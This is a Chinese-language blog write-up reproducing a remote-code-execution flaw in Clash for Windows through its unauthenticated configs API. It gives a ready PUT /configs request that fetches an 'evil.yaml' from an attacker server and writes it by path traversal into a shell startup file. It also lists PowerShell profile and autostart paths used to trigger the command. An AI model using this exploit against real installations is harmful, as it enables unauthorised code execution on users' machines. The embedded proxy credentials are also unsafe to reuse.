环境准备
影响版本:<=0.19.8
复现环境:
windows+clash for windows+内核clash-windows-amd64-v1.15.0+未设置secret
前言
默认先走授权,有secret无法利用
(2021年后默认随机UUID的secret,端口随机)
复现过程
API请求包
PUT /configs?force=true HTTP/1.1
Host: 127.0.0.1:9090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36(KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 326
{"payload":"mixed-port: 7890nallow-lan: falsenmode: rulenlog-level: warningnproxy-providers:n provider1:n type: httpn url: 'http://127.0.0.1:9999/evil.yaml'n interval: 3600n path: ../../.zshenvn healthcheck:n enable: truen interval: 600n url: http://www.gstatic.com/generate_204"}
windows下的payload
vps开http.server
evil.yaml
calc.exe && echo :
proxies:
- {name: vP, server: n04.a00x.party, port: 18000, type: ssr, cipher: aes-256-cfb, password: AFX92CS, protocol: auth_aes128_sha1, obfs: http_simple, protocol-param: 232991:xSnSFv, obfs-param: download.windowsupdate.com, udp: true}
#>
通过利用powershell自定义.profile来执行命令。当用户打开powershell将触发
(还需要powershell运行脚本执行才能成功)
1、%windir%system32WindowsPowerShellv1.0profile.ps1
它作用于所有用户、所有的Shell。
2、%windir%system32WindowsPowerShellv1.0 Microsoft.PowerShell_profile.ps1
作用于所有用户,但只作用于Microsoft.PowerShell这个shell。这个我也没懂是什么意思,难道还有不是PowerShell的PowerShell shell?呃,有点像绕口令。
3、%UserProfile%My DocumentsWindowsPowerShellprofile.ps1
作用于当前用户的所有shell。
4、%UserProfile%My DocumentsWindowsPowerShellMicrosoft.PowerShell_profile.ps1
作用于当前用户的Microsoft.PowerShell这个shell。
开机自启路径
(有杀毒纯纯白给)
代码跟踪
可以看到updateConfigs函数处理,只要json格式正确直接进行下一步
最后解析json里的payload。获取路径,拼接路径,根据类型进行处理。最后调用NewProxySetProvider函数
总结
作者最早添加更新配置文件的API都加了安全验证https://github.com/Dreamacro/clash/commit/9cfd26d44062c8d0811395cf944024bb680705b5
能被利用纯属自己不设置secret
https://github.com/Dreamacro/clash/blob/9cfd26d44062c8d0811395cf944024bb680705b5/hub/route/server.go
参考链接
https://0xf4n9x.github.io/2022/10/20/clash-unauth-force-configs-csrf-rce/
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。